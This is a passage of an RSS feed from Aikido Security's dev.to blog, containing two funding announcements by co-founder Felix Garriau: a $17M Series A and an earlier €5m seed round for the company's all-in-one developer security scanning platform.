      <dc:creator>Felix Garriau</dc:creator>
      <pubDate>Thu, 02 May 2024 12:12:26 +0000</pubDate>
      <link>https://dev.to/aikidosecurity/we-just-raised-our-17-million-series-a-4l4f</link>
      <guid>https://dev.to/aikidosecurity/we-just-raised-our-17-million-series-a-4l4f</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR we raised a lot of money and we’re ready to go big.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;We've raised $17M &lt;strong&gt;to bring “no BS” security to devs&lt;/strong&gt;. We’re happy to welcome &lt;a href="https://www.linkedin.com/in/henri-tilloy/"&gt;Henri Tilloy&lt;/a&gt; from &lt;a href="https://singular.vc/"&gt;Singular.vc&lt;/a&gt; on board, who is again joined by &lt;a href="https://www.notion.vc/"&gt;Notion Capital&lt;/a&gt; and &lt;a href="https://www.connectventures.co/"&gt;Connect Ventures&lt;/a&gt;. This round comes just 6 months after &lt;a href="https://www.aikido.dev/blog/aikido-security-raises-eur5m-to-offer-a-seamless-security-solution-to-growing-saas-businesses"&gt;we raised $5.3M in seed funding&lt;/a&gt;. That’s fast.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;We founded Aikido because developers have a problem&lt;/strong&gt;. Security and compliance requirements are no longer just for large enterprises - they are now a growing necessity for companies of all sizes, especially SMEs looking to win customers and scale up. Compliance standards like SOC2, ISO 27001, CIS, HIPAA, and the upcoming European NIS 2 Directive are becoming baseline requirements for software companies, especially those selling to enterprises or handling sensitive data, like in HealthTech or Fintech.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;But this growing compliance burden often falls on the shoulders of developers&lt;/strong&gt;, who are now expected to function as security experts. That's why we built Aikido - the all-in-one platform that brings together all the necessary code and cloud security scanners in one simple, easy-to-use interface, leveraging the best open source has to offer. We’re freemium, self-service, and open about what is under the hood and how much it’ll cost you.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;We're an outsider challenger&lt;/strong&gt; in the established, tight-knit security industry, which has long been dominated by US and Israeli enterprises led by industry veterans. Yes, there have been security tools for three decades, but we’re starting from a very different position. We are building a security platform where the buyer is the user. As it so often is, the CISO is the buyer, but then some poor developer is the user.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;We’ve been that poor developer before.&lt;/strong&gt; We have felt the frustration of working with clunky, legacy security tools that waste our time and our money. We wasted hundreds of hours on irrelevant security alerts as CTOs ourselves. We know how these tools look like the inside of an F-16’s cockpit. We know how they make you feel dumb, how you get so swamped with complexity and false alerts, that people stop checking them all together. We understand that a developer just wants to fix problems and move on with building fun features.&lt;/p&gt;

&lt;p&gt;We’re excited to work with Henri and Singular. He’s one of the first investors we felt actually understood the product, and didn’t just see us as a spreadsheet. He believes that we have &lt;em&gt;“an incredibly unique approach to security”&lt;/em&gt; as we are &lt;em&gt;“simple, leverage open-source, and easy to set up and use, yet Aikido ticks off the boxes of company compliance and security requirements in one go."&lt;/em&gt; (We like him for his nice quotes and compliments too).&lt;/p&gt;

&lt;p&gt;In less than a year since our launch, we are already &lt;strong&gt;used by over 3,000 organizations&lt;/strong&gt; and 6,000 individual developers. &lt;a href="https://www.aikido.dev/blog/aikido-secures-visma-network"&gt;Visma choosing us to secure all of its portfolio of 175+ companies&lt;/a&gt; was major and confirmed we’re on the right track (not that we doubted it ;)) We have 30% of our customers in the US and we're now aiming for further international expansion to help developers and SMEs get security done.&lt;/p&gt;

&lt;p&gt;This new $17M Series A funding will allow us to deepen our platform and push Aikido onto the global stage, &lt;strong&gt;making security simple for SMEs&lt;/strong&gt; and &lt;strong&gt;doable for developers&lt;/strong&gt; without the industry jargon, red tape, and frankly, BS.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.aikido.dev/careers"&gt;Want to join us&lt;/a&gt;?&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Aikido Security raises €5m to offer a seamless security solution to growing SaaS businesses</title>
      <dc:creator>Felix Garriau</dc:creator>
      <pubDate>Tue, 14 Nov 2023 11:51:35 +0000</pubDate>
      <link>https://dev.to/aikidosecurity/aikido-security-raises-eu5m-to-offer-a-seamless-security-solution-to-growing-saas-businesses-17j4</link>
      <guid>https://dev.to/aikidosecurity/aikido-security-raises-eu5m-to-offer-a-seamless-security-solution-to-growing-saas-businesses-17j4</guid>
      <description>&lt;p&gt;&lt;strong&gt;GHENT, November 14th 2023&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;With the average cost of a data breach reaching $4.45m in 2023, Aikido is on a mission to drastically improve security solutions for startup and growing SaaS companies&lt;/li&gt;
&lt;li&gt;Aikido Security has raised €5m in a Seed round co-led by Notion Capital and Connect Ventures&lt;/li&gt;
&lt;li&gt;The seed round includes an impressive roster of investors, this includes angel investor Christina Cacioppo, CEO of Vanta; and Inovia Capital’s Precede Fund, with the investment led by Raif Jacobs and Patrick Pichette (Pichette is the former CFO of Google and Board Chair of Twitter; and Jacobs is former CFO of Deliveroo)&lt;/li&gt;
&lt;li&gt;The industry is adopting Aikido’s all-in-one solution at great speed, with the company achieving over 1000 installs in its first year&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Aikido Security&lt;/strong&gt;, the developer-first software security app for growing SaaS companies, today announces it has raised €5m in a Seed round co-led by Notion Capital and Connect Ventures; with investment from Inovia Capital Precede Fund I, led by partners Raif Jacobs and former Google CFO Patrick Pichette; as well as an impressive roster of angel investors including Christina Cacioppo, CEO of Vanta.&lt;/p&gt;

&lt;p&gt;The investment will go towards developing the functionality of the software, in particular ensuring that Aikido’s user-experience and auto-triage is best in class, while keeping the product simple; hiring staff across the product, development, marketing and sales teams; and further growing the Aikido customer base, with a particular focus on solidifying and expanding its already strong foothold across Europe and North America.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;As CEO &amp;amp; CTO of Aikido, Willem Delbare explains,&lt;/strong&gt; “SaaS companies that are building their platform often ‘secure’ their new software by installing numerous scattered tools. This can generate a lot of noise for the developers and throw up a myriad of disparate ‘false positives’, which require attention, but pose no real threat. This causes a huge burden on the staff managing platform security. The problem is only exacerbated by growth -- which can happen quickly in SaaS -- creating huge headaches for the staff responsible for security.”&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Delbare continues&lt;/strong&gt; “Alternatively, if startups choose not to install these tools, they may instead adopt expensive security software solutions which only cover a few factors of application security. Companies are then left with huge gaps in their software’s security, despite their investment. Due to their cost, vulnerability scanners are mostly tailored to larger enterprises, with SME and mid-market companies left without a viable solution to their growing platform’s security.”&lt;/p&gt;

&lt;p&gt;Aikido is on a mission to simplify SaaS security with its &lt;strong&gt;all-in-one tool&lt;/strong&gt; that consolidates various application security features. Instead of disjointed solutions, this unified approach enhances control and significantly cuts down on false positives. So far, the company has saved over 1,500 developer working days that would otherwise be spent on false positives. Aikido ranks vulnerabilities by severity, ensuring critical issues are addressed first. Plus, all security data stays within the platform, ensuring safety regardless of staff changes and aiding in business continuity.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Delbare, continues,&lt;/strong&gt; “Throughout my career I have built multiple SaaS startups, and wasted &lt;em&gt;hundreds&lt;/em&gt; &lt;em&gt;of hours&lt;/em&gt; piecing together a patchwork of tools needed to secure a new platform. In starting Aikido, I saw a better way to identify critical breaches whilst downgrading the distracting ‘non-issues’ that waste an engineer’s time. We are the only company in Europe doing this, demonstrating a renewed energy for startups in the continent. Our customers now include startups, as well as companies that have grown to over 300 developers - which has resulted in over 1000 total installs in just one year - a rarity in the world of new SaaS solutions. Looking forward, we want to out-do our competitors by offering a solution tailored to those who have yet to find a product that meets their needs.”&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kamil Mieczakowski, Partner at Notion Capital says,&lt;/strong&gt; “As the pressure on small and mid-sized businesses mounts to demonstrate ever-increasing levels of cyber resilience, the landscape of security tools available to them continues to present challenges, characterized by fragmentation, complexity, and cost. Aikido provides a powerful yet easy-to-use end-to-end solution for code and cloud security, empowering any business to secure itself and its customers through a single tool capable of transforming every developer into a security expert. Despite being only one year old, the company is already scaling rapidly, and we're thrilled to support them on this exciting trajectory alongside our friends at Connect Ventures and an incredible group of angel investors and advisors.”&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Pietro Bezza, Co-Founder and Managing Partner at Connect Ventures says,&lt;/strong&gt; "In this new b2b software world, businesses seek SaaS products that combine efficacy with efficiency, value for money, simplicity and focus. We are in the era of the Great Bundle. Driven by the need for efficiency, customers are consolidating point solution software into full-stack software suites. Aikido all-in-one platform for software security fits extremely well with this new framework. We couldn’t be more thrilled to back Willem, Roeland and Felix in democratising access to the best security toolings for every company's size and budget."&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--zTGlnmAJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://d37oebn0w9ir6a.cloudfront.net/account_39169/team-1-1_b496ffe93357363af6e57fea4e3dc914.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--zTGlnmAJ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://d37oebn0w9ir6a.cloudfront.net/account_39169/team-1-1_b496ffe93357363af6e57fea4e3dc914.jpg" width="800" height="533"&gt;&lt;/a&gt;Part of the Aikido team&lt;/p&gt;

&lt;p&gt;Aikido offers the fastest way for a growing SaaS company to secure its platform. The application delivers swift, customer-led onboarding with an instant view of all the critical vulnerabilities to be solved - typically in only a few minutes - lending users the time to focus on core business functions. With world-beating noise reduction, Aikido is able to massively reduce the number of false positives. It adopts a ‘shift left’ approach, the goal of which is to prevent security issues from entering the code which means that if anything goes wrong during the development process, it can be fixed before any breach occurs or that code reaches production.&lt;/p&gt;

&lt;p&gt;Designed for SaaS companies, Aikido is a crucial component for meeting critical industry compliance standards, including SOC2, ISO 27001, CIS, HIPAA, and the upcoming European NIS 2 Directive.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;About Aikido Security&lt;/strong&gt; Aikido is an all-in-one solution that brings together multiple aspects of application security in one intuitive platform. This inclusive approach provides greater control for end users, drastically reducing the number of false positives during security checks. Aikido is founded by &lt;a href="https://www.linkedin.com/in/willemdelbare/"&gt;Willem Delbare&lt;/a&gt; (former founder of Teamleader and Officient), &lt;a href="https://www.linkedin.com/in/roelanddelrue/"&gt;Roeland Delrue&lt;/a&gt; (former Showpad), and &lt;a href="https://www.linkedin.com/in/felixgarriau/"&gt;Felix Garriau&lt;/a&gt; (former nexxworks) and venture-backed by Notion Capital, Connect Ventures, and Syndicate One.&lt;/p&gt;

</description>
    </item>
  </channel>
</rss>
